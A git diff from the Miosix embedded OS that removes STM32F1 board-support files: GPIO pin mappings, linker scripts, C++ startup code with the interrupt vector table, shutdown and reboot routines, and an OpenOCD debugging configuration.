a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/hwmapping.h deleted file mode 100644 index 2db8b24fb..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,109 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -namespace gpio { - - typedef Gpio gpio0; - typedef Gpio gpio1; - typedef Gpio gpio2; - typedef Gpio gpio3; - - typedef Gpio ai0; - typedef Gpio ai1; - typedef Gpio ai2; - typedef Gpio ai3; - typedef Gpio ai4; - typedef Gpio ai5; - typedef Gpio ai6; - typedef Gpio ai7; -} - -namespace display { - - typedef Gpio lcd_e; - typedef Gpio lcd_rs; - typedef Gpio lcd_d4; - typedef Gpio lcd_d5; - typedef Gpio lcd_d6; - typedef Gpio lcd_d7; -} - -namespace buttons { - - typedef Gpio btn1; - typedef Gpio btn2; - typedef Gpio btn3; - typedef Gpio btn4; - typedef Gpio btn5; - typedef Gpio btn6; - typedef Gpio btn7; -} - -namespace spi { - - typedef Gpio sck; - typedef Gpio miso; - typedef Gpio mosi; -} - -namespace i2c { - //Is I2C2 - typedef Gpio scl; - typedef Gpio sda; -} - -namespace valves { - - typedef Gpio valv1; - typedef Gpio valv2; - typedef Gpio valv3; - typedef Gpio valv4; - typedef Gpio valv5; - typedef Gpio valv6; - typedef Gpio valv7; - typedef Gpio valv8; -} - -// typedef Gpio -typedef Gpio tx; -typedef Gpio rx; -// typedef Gpio -// typedef Gpio -// typedef Gpio -// typedef Gpio -typedef Gpio powerSw; - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/stm32_256k+24k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/stm32_256k+24k_rom.ld deleted file mode 100644 index af413015a..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rc_solertegiard/stm32_256k+24k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (256K FLASH, 24K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 24KB microcontrollers */ -_heap_end = 0x20006000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 256K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 24K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/core/stage_1_boot.cpp deleted file mode 100644 index b763b45c1..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/core/stage_1_boot.cpp +++ /dev/null @@ -1,269 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32 medium density value line devices ONLY (64 and 128KB devices). - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -//Will be called at the end of stage 1 of boot, function is implemented in -//stage_2_boot.cpp -extern "C" void _init(); - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) USB_HP_CAN1_TX_IRQHandler(); -void __attribute__((weak)) USB_LP_CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_IRQHandler(); -void __attribute__((weak)) TIM1_UP_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USBWakeUp_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_2_IRQHandler, - USB_HP_CAN1_TX_IRQHandler, - USB_LP_CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_IRQHandler, - TIM1_UP_IRQHandler, - TIM1_TRG_COM_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - USBWakeUp_IRQHandler, - 0,0,0,0,0,0,0, - reinterpret_cast(0xF108F85F) /* @0x1E0. This is for boot in RAM mode for - STM32F10x Medium Value Line Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak USB_HP_CAN1_TX_IRQHandler = Default_Handler -#pragma weak USB_LP_CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USBWakeUp_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/interfaces-impl/bsp.cpp deleted file mode 100644 index 32274e74a..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,137 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011, 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_AFIOEN; - RCC_SYNC(); - _led::mode(Mode::OUTPUT_2MHz); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ -// #ifdef WITH_FILESYSTEM -// basicFilesystemSetup(); -// #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/interfaces-impl/bsp_impl.h deleted file mode 100644 index bbc9b9157..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,82 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011 by Terraneo Federico * - * Copyright (C) 2016 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -///\internal Pin connected to SD card detect -//TODO: no filesystem typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -/*TODO: no filesystem -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -}*/ - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/stm32_64k+20k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/stm32_64k+20k_rom.ld deleted file mode 100644 index 3affd0a08..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/stm32_64k+20k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (64K FLASH, 20K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 20KB microcontrollers */ -_heap_end = 0x20005000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 20K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/stm32vldiscovery.cfg b/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/stm32vldiscovery.cfg deleted file mode 100644 index 23046cf8c..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103c8_breakout/stm32vldiscovery.cfg +++ /dev/null @@ -1,27 +0,0 @@ -# -# OpenOCD configuration file for in-circuit debugging the stm32vldiscovery -# loaded with the versaloon firmware. -# To start debugging issue those commands: -# arm-miosix-eabi-gdb main.elf -# target remote :3333 -# monitor reset halt -# monitor target_request debugmsgs enable -# monitor trace point 1 -# The last two commands are required to redirect printf inside the MCU -# through SWD, and make the output appear inside gdb -# - -# Daemon configuration -telnet_port 4444 -gdb_port 3333 - -# Interface (using versaloon) -interface vsllink -transport select swd -swd_mode 2 -swd_delay 2 - -# This is a board with an STM32F100RBT6 -# Use 2 kB instead of the default 16 kB -set WORKAREASIZE 0x800 -source [find target/stm32.cfg] diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103cb_als_mainboard_rev2/core/stage_1_boot.cpp 